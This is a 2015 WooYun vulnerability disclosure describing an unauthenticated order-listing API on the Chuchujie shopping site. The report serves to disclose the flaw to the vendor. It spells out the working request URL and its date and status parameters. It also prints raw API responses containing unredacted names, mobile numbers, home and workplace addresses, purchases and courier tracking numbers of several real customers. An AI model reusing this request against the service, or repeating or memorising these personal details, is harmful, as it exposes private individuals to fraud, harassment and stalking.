当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140563

漏洞标题:楚楚街敏感接口未授权访问(大量订单信息泄漏)

相关厂商:醋溜科技

漏洞作者: 艾薇儿

提交时间:2015-09-11 18:20

修复时间:2015-10-29 20:46

公开时间:2015-10-29 20:46

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-11: 细节已通知厂商并且等待厂商处理中
2015-09-14: 厂商已经确认,细节仅向厂商公开
2015-09-24: 细节向核心白帽子及相关领域专家公开
2015-10-04: 细节向普通白帽子公开
2015-10-14: 细节向实习白帽子公开
2015-10-29: 细节向公众公开

简要描述:

北京醋溜网络科技有限公司是一家快速发展的互联网创业公司,以开创性的互联网思维与商业模式,向超过1个亿的总安装用户、超过500万的日活跃用户,提供生活化、趣味化、便捷性、实用性的产品与服务,电商导购业务年交易额超过20亿元。

详细说明:

查询订单接口

http://wx.chuchujie.com/sqe?s=Order&a=get_order_list&vcode=88350dd4b55726&ctime_start=2015-09-09&ctime_end=2015-09-11&status=1


查询时间可以自定义!
这里的status参数 0 是等待发货 1是等待付款 3是等待确认收货
在确认收货的订单中,快递号漏出。危害还是比较大的

QQ20150911-3@2x.png


{"code":0,"info":[{"order":{"order_id":"150911172616O5M324414","status":1,"comment":"","total_price":"29.90","status_text":"等待付款","express_id":"","all_conpon_price":"0.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 17:26","area_id":"111","express_company":"","pay_time":"","send_time":"","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?s=\/Order\/order_info\/order_sn\/150911172616O5M324414","pay_time_out":"","receive_time_out":"","service_time_out":""},"goods":[{"goods_id":"10008032195","price":"29.90","goods_title":"瓷肌净肤祛痘洁面乳","goods_img":"http:\/\/shopcdn.chuchujie.com\/Uploads\/detail_url\/201507\/55a51588642de.jpg?imageView2\/2\/w\/480","amount":"1","goods_no":"6957286206616","outer_id":"6957286206616","short_title":"","prop":[{"name":"","value":null,"is_show":1}],"refund_status_text":"无"}],"address":{"postcode":"","nickname":"王玉平","phone":"18021322424","address":"江苏省扬州市广陵区曲江街道沙中一村13幢202","province":"江苏省","city":"扬州市","district":"广陵区","street":"曲江街道沙中一村13幢202"}},{"order":{"order_id":"150911171506bHw325303","status":1,"comment":"","total_price":"53.00","status_text":"等待付款","express_id":"","all_conpon_price":"10.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 17:15","area_id":"111","express_company":"","pay_time":"","send_time":"","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?s=\/Order\/order_info\/order_sn\/150911171506bHw325303","pay_time_out":"","receive_time_out":"","service_time_out":""},"goods":[{"goods_id":"1000803290","price":"53.00","goods_title":"瓷肌祛痘控油舒缓套装 ","goods_img":"http:\/\/shopcdn.chuchujie.com\/Uploads\/detail_url\/201505\/55631daeebb25.jpg?imageView2\/2\/w\/480","amount":"1","goods_no":"CJ-011","outer_id":"","short_title":"","prop":[{"name":"","value":null,"is_show":1}],"refund_status_text":"无"}],"address":{"postcode":"","nickname":"谢培培","phone":"15050905029","address":"江苏省连云港市灌南县长茂镇韩洋休闲中心南30米唯品洗化","province":"江苏省","city":"连云港市","district":"灌南县","street":"长茂镇韩洋休闲中心南30米唯品洗化"}},{"order":{"order_id":"150911171338Wu1325303","status":1,"comment":"","total_price":"106.00","status_text":"等待付款","express_id":"","all_conpon_price":"20.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 17:13","area_id":"111","express_company":"","pay_time":"","send_time":"","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?s=\/Order\/order_info\/order_sn\/150911171338Wu1325303","pay_time_out":"","receive_time_out":"","service_time_out":""},"goods":[{"goods_id":"1000803290","price":"53.00","goods_title":"瓷肌祛痘控油舒缓套装 ","goods_img":"http:\/\/shopcdn.chuchujie.com\/Uploads\/detail_url\/201505\/55631daeebb25.jpg?imageView2\/2\/w\/480","amount":"2","goods_no":"CJ-011","outer_id":"","short_title":"","prop":[{"name":"","value":null,"is_show":1}],"refund_status_text":"无"}],"address":{"postcode":"","nickname":"谢培培","phone":"15050905029","address":"江苏省连云港市灌南县长茂镇韩洋休闲中心南30米唯品洗化","province":"江苏省","city":"连云港市","district":"灌南县","street":"长茂镇韩洋休闲中心南30米唯品洗化"}},{"order":{"order_id":"150911171006Qcs326654","status":1,"comment":"","total_price":"356.00","status_text":"等待付款","express_id":"","all_conpon_price":"0.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 17:10","area_id":"131","express_company":"","pay_time":"","send_time":"","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?


QQ20150911-4@2x.png


{"code":0,"info":[{"order":{"order_id":"150911134224AkA321478","status":3,"comment":"地址是黑龙江省大兴安岭地区加格达奇区卫东街胜利路10号地区防火办 侯春雷收 ","total_price":"56.70","status_text":"等待确认收货","express_id":"220411615939","all_conpon_price":"0.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 13:42","area_id":"110","express_company":"申通快递","pay_time":"2015-09-11 13:42","send_time":"2015-09-11 16:36","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?s=\/Order\/order_info\/order_sn\/150911134224AkA321478","pay_time_out":"","receive_time_out":"","service_time_out":""},"goods":[{"goods_id":"1000803284","price":"19.90","goods_title":"瓷肌水能量透润精华水100ml ","goods_img":"http:\/\/gw.alicdn.com\/bao\/uploaded\/i4\/TB1ShW0HXXXXXcOXXXXXXXXXXXX_!!0-item_pic.jpg_480x480q60.jpg","amount":"1","goods_no":"6957286204926","outer_id":"6957286204926","short_title":"","prop":[{"name":"化妆品净含量","value":"100ml","is_show":1}],"refund_status_text":"无"},{"goods_id":"1000803259","price":"19.90","goods_title":"瓷肌水能量透润精华乳80ml","goods_img":"http:\/\/gw.alicdn.com\/bao\/uploaded\/i3\/TB1VqbAHXXXXXaFXXXXXXXXXXXX_!!0-item_pic.jpg_480x480q60.jpg","amount":"1","goods_no":"6957286204933","outer_id":"6957286204933","short_title":"","prop":[{"name":"化妆品净含量","value":"80ml","is_show":1}],"refund_status_text":"无"},{"goods_id":"1000803243","price":"16.90","goods_title":"瓷肌水能量舒缓安肤喷雾","goods_img":"http:\/\/gw.alicdn.com\/bao\/uploaded\/i2\/TB1Y0wDHpXXXXbDaXXXXXXXXXXX_!!0-item_pic.jpg_480x480q60.jpg","amount":"1","goods_no":"6957286205909","outer_id":"6957286205909","short_title":"","prop":[{"name":"化妆品净含量","value":"80ml","is_show":1}],"refund_status_text":"无"}],"address":{"postcode":"","nickname":"侯春雷","phone":"15904571509","address":"黑龙江省大兴安岭地区塔河县大兴安岭地区加格达奇区卫东街胜利路10号地区防火办","province":"黑龙江省","city":"大兴安岭地区","district":"塔河县","street":"大兴安岭地区加格达奇区卫东街胜利路10号地区防火办"}},{"order":{"order_id":"1509111339217vU329145","status":3,"comment":"请寄申通请寄申通","total_price":"59.80","status_text":"等待确认收货","express_id":"220411615451","all_conpon_price":"20.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 13:39","area_id":"116","express_company":"申通快递","pay_time":"2015-09-11 13:39","send_time":"2015-09-11 16:36","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?s=\/Order\/order_info\/order_sn\/1509111339217vU329145","pay_time_out":"","receive_time_out":"","service_time_out":""},"goods":[{"goods_id":"1000803240","price":"39.90","goods_title":"瓷肌早晚平肤去印霜","goods_img":"http:\/\/gw.alicdn.com\/bao\/uploaded\/i3\/TB1VA8WGXXXXXXBaXXXXXXXXXXX_!!0-item_pic.jpg_480x480q60.jpg","amount":"1","goods_no":"6957286201697","outer_id":"6957286201697","short_title":"","prop":[{"name":"化妆品净含量","value":"25g","is_show":1}],"refund_status_text":"无"},{"goods_id":"1000803259","price":"19.90","goods_title":"瓷肌水能量透润精华乳80ml","goods_img":"http:\/\/gw.alicdn.com\/bao\/uploaded\/i3\/TB1VqbAHXXXXXaFXXXXXXXXXXXX_!!0-item_pic.jpg_480x480q60.jpg","amount":"1","goods_no":"6957286204933","outer_id":"6957286204933","short_title":"","prop":[{"name":"化妆品净含量","value":"80ml","is_show":1}],"refund_status_text":"无"}],"address":{"postcode":"","nickname":"杨洁","phone":"13508146487","address":"山东省潍坊市寒亭区滨海开发区河滨街2号山东海事职业学院","province":"山东省","city":"潍坊市","district":"寒亭区","street":"滨海开发区河滨街2号山东海事职业学院"}},{"order":{"order_id":"150911133555RLR328040","status":3,"comment":"用申通快递","total_price":"53.90","status_text":"等待确认收货","express_id":"220411615940","all_conpon_price":"6.00","shop_coupon_price":"0.00","order_point_price":"0.00","express_price":"0.00","status_refund":"0","status_refund_text":null,"last_status_time":"","seller_note":"","ctime":"2015-09-11 13:35","area_id":"116","express_company":"申通快递","pay_time":"2015-09-11 13:37","send_time":"2015-09-11 16:36","order_url":"http:\/\/wx.chuchujie.com\/\/sqe.php?s=\/Order\/order_info\/order_sn\/150911133555RLR328040","pay_time_out":"","receive_time_out":"","service_time_out":""},"goods":[{"goods_id":"1000803293","price":"53.90","goods_title":"瓷肌玫瑰纯露爽肤水200ml","goods_img":"http:\/\/shopcdn.chuchujie.com\/Uploads\/detail_url\/201505\/55542fd3deece.jpg?imageView2\/2\/w\/480","amount":"1","goods_no":"6957286204841","outer_id":"6957286204841","short_title":"","prop":[{"name":"","value":null,"is_show":1}],"refund_status_text":"无"}],"address":{"postcode":"","nickname":"卞美超","phone":"17862341215","address":"山东省日照市东港区大学城秦楼街道毓华园3号楼324","province":"山东省","city":"日照市","district":"东港区","street":"大学城秦楼街道毓华园3号楼324"}},{

漏洞证明:


修复方案:

版权声明:转载请注明来源 艾薇儿@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-14 20:44

厂商回复:

感谢你给我们的漏洞反馈

最新状态:

暂无